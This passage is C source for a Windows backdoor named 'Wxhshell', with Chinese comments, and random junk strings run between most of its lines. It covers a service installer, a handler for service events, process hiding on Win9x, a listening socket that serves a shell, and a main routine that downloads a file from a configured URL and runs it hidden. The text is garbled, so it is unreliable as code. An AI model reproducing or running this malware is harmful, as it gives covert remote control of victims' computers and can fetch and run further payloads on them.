1 ^Oj if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ;K-t :S6 <v0`Z CloseHandle(hProcess); 5g7}A` 2DdLqZY# hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Cms"OkN if(hProcess==NULL) return 0; 8^i,M^f^{ 58U[r)/ HMODULE hMod; 5j5t?G;d, char procName[255]; ^qr[?ky]& unsigned long cbNeeded; tO3B_zC "z4E|s if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); yE{UV>ry UpBYL?+L CloseHandle(hProcess); RVy 87_J1 >&Lu0oHH if(strstr(procName,"services")) return 1; // 以服务启动 IQY#EyTb vu >@_hv return 0; // 注册表启动 vA~hkkj{ } R$`T"C" o%Q2. // 主模块 Ll48)P{+}V int StartWxhshell(LPSTR lpCmdLine) ~h|L;E" { B%;+8] SOCKET wsl; Yr0i9Qow BOOL val=TRUE; H8k| >4 int port=0; .W:], 5e struct sockaddr_in door; cu|q& 1H@F>}DP if(wscfg.ws_autoins) Install(); $R36`wk `o'sp9_3 port=atoi(lpCmdLine); nwH|Hs riU [/]3:| if(port<=0) port=wscfg.ws_port; !Xce iQu J1MnkxJmpQ WSADATA data; #R|4(HlL if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Z6pDQ^Ii /tP if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 1h{_v!X setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); X)5O@"4 ? door.sin_family = AF_INET; mz'8
door.sin_addr.s_addr = inet_addr("127.0.0.1"); n&&y\?n door.sin_port = htons(port); g;@PEZk1 ]TN}`] if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 3E:< closesocket(wsl); "E#%x{d return 1; !OemS7{ } oWOZ0]H1 xSZw, if(listen(wsl,2) == INVALID_SOCKET) { Os+=} closesocket(wsl); yB[LO(i return 1; AP@d2{"m} } #}?$mxME* Wxhshell(wsl); F@3,>~[%I WSACleanup(); oaE3Aa (avaTUMOqy return 0;
rR;Om1 -, jL>r*=K)% } (>23[;.0 _bsfM;u.% // 以NT服务方式启动 H8U*oLlc VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) x$sQ .aT { w"J(sVy4 DWORD status = 0; gUQCKNw DWORD specificError = 0xfffffff; ?c*d
z{ ~o$=(EC serviceStatus.dwServiceType = SERVICE_WIN32; Sj+#yct - serviceStatus.dwCurrentState = SERVICE_START_PENDING; @,.H)\a4 serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; dno*Usx5d0 serviceStatus.dwWin32ExitCode = 0; ,B><la87 serviceStatus.dwServiceSpecificExitCode = 0; Ho|n\7$ serviceStatus.dwCheckPoint = 0; iqYc&}k, serviceStatus.dwWaitHint = 0; 54&2SU$kx 6!N&,I hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); A}# Mrb if (hServiceStatusHandle==0) return; -B!pg7>'## rKxk?} status = GetLastError(); ,"v% if (status!=NO_ERROR) |n/id(R+ { 1??RX}8[L+ serviceStatus.dwCurrentState = SERVICE_STOPPED; !b=$FOC> serviceStatus.dwCheckPoint = 0; ^&%?Q_] serviceStatus.dwWaitHint = 0; iV=#'yY serviceStatus.dwWin32ExitCode = status; c$;enAf@ serviceStatus.dwServiceSpecificExitCode = specificError; b%F*N r SetServiceStatus(hServiceStatusHandle, &serviceStatus); !)]3@$# return; 6dp~19T^ } &gfQZxT 8wd2\J,] serviceStatus.dwCurrentState = SERVICE_RUNNING; nq;)!Wry serviceStatus.dwCheckPoint = 0; Fk:(%ci serviceStatus.dwWaitHint = 0; + h&V; if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); {3>^nMv@e } ORTM[cL
ADDp m-] // 处理NT服务事件,比如:启动、停止 F=H=[pSe VOID WINAPI NTServiceHandler(DWORD fdwControl) #S5vX<"9 { ,MJZ*"V/3 switch(fdwControl) QX4I+x~oo\ { 6pse@x? case SERVICE_CONTROL_STOP: (g\'Zw5bk serviceStatus.dwWin32ExitCode = 0; JkmL'Zk>: serviceStatus.dwCurrentState = SERVICE_STOPPED; \BDNF<_ serviceStatus.dwCheckPoint = 0; <t Nx*ce5 serviceStatus.dwWaitHint = 0; 4 ET
P { &'R]oeag SetServiceStatus(hServiceStatusHandle, &serviceStatus); S@_GjCpn } Q.
>"@c[ return; J=sQ].EK case SERVICE_CONTROL_PAUSE: 4_ 3\4 serviceStatus.dwCurrentState = SERVICE_PAUSED; |@+
x9|'W break; :;EzvRy case SERVICE_CONTROL_CONTINUE: PHoW|K_e serviceStatus.dwCurrentState = SERVICE_RUNNING; $8Zw<aEJ break; ^t*BWJxPC case SERVICE_CONTROL_INTERROGATE: @ 9uwcM1F break; {`: != }; R]dB Uu SetServiceStatus(hServiceStatusHandle, &serviceStatus); I4$a#; } ,SBL~JJ D_{J:Hb // 标准应用程序主函数 `CV a`% int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ,[x'S>N { {974m` 5 ~ rRIWfhb // 获取操作系统版本 q+z,{K OsIsNt=GetOsVer(); uZNR]+Yu@ GetModuleFileName(NULL,ExeFile,MAX_PATH); 5VI'hxU4Qg +VJl#sc/; // 从命令行安装 qdOS=7]W if(strpbrk(lpCmdLine,"iI")) Install(); W[YtNL; X,p&S^ // 下载执行文件 w/R^Vwq if(wscfg.ws_downexe) { 2c}kiqi{ if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) _K8-O>I " WinExec(wscfg.ws_filenam,SW_HIDE); 3 . @W.GG8 } A;kB"Tx umi#Se3& if(!OsIsNt) { J[9jNCq| // 如果时win9x,隐藏进程并且设置为注册表启动 OAv/P|n= HideProc(); N%0Z>
G StartWxhshell(lpCmdLine); 9i"3R0HN } >0> M@s else .w0? if(StartFromService()) DQ,Q yV // 以服务方式启动 Y$N|p{Z StartServiceCtrlDispatcher(DispatchTable); 9:P)@UF else D%Wr/6X // 普通方式启动 &Z9b&P StartWxhshell(lpCmdLine); /HLQ 7|2:;5:U return 0; re<"%D }
|